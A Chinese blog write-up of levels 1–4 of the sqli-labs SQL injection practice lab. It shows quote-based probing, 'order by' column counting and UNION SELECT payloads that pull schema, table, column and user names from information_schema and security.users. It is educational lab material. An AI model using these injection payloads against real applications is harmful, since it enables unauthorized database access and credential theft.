sqli-labs 第1-4关总结

第一关
在这里插入图片描述

第一关根据提示输入id的数字参数,?id=1(相当于select * from tables where id=1)
在这里插入图片描述

直接就显示了一组用户名密码, id=2, 3, 4 一个一个试,就可以显示所有的帐户密码。

不过sqli-labs的目的是练习注入,在1后面首先尝试加个’
在这里插入图片描述

报错信息,再加个’恢复正常,可以判断这里有个注入点

接着判断字段数:
/?id=1’order by 1, 2, 3 – -
(-- -是为了注释掉后面的limit 0, 1同理还可以使用–+或者%23)
一直到3都显示正常,到4则报错,可得出字段数为3

再用union select 1,2,3 – -来看回显点,可判断2和3的位置是能够显示的
在这里插入图片描述

union select 1,2,(select group_concat(schema_name) from information_schema.schemata)-- -
在这里插入图片描述

查询security内的所有表名:
union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)-- -

在这里插入图片描述

列名:
group_concat(column_name) from information_schema.columns where table_name=‘users’
用户名:
group_concat(username) from security.users

源码:
在这里插入图片描述
根据前面的注入过程,可以发现注入点在源码中的位置
在这里插入图片描述

可以看出$id就是1的位置,并且由单引号闭合,以及后面的limit 0,1 的限制

所以注入可以通过’来提前闭合并且由-- -等方法注释掉(取消)后面的内容。

第二关
同样的办法先尝试单引号和双引号,一个两个全都报错

接着?id=2-1同1相同,判断为数字型
在这里插入图片描述

不用加引号等,之后同第一关

源码:
在这里插入图片描述
果然没有引号等,只要注释掉后面就行

第三关
依旧单引号先手,报错
在这里插入图片描述

但报错内容多了个),源码这里应有个()

尝试?id=1’)-- -成功
在这里插入图片描述

之后同上

源码:
在这里插入图片描述
源码的确是(‘’)

第四关
单引号再次先手,无报错
尝试双引号,报错
在这里插入图片描述
根据报错信息和上一关的经验,此处应该是(“”)

接着尝试?id=1”)报错, ?id=1”)-- -正常
在这里插入图片描述

成功
之后同上

源码:
在这里插入图片描述
以为是(””),没想到是”()”,查看发现源码中对$id进行了预处理,其实是一样的
在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值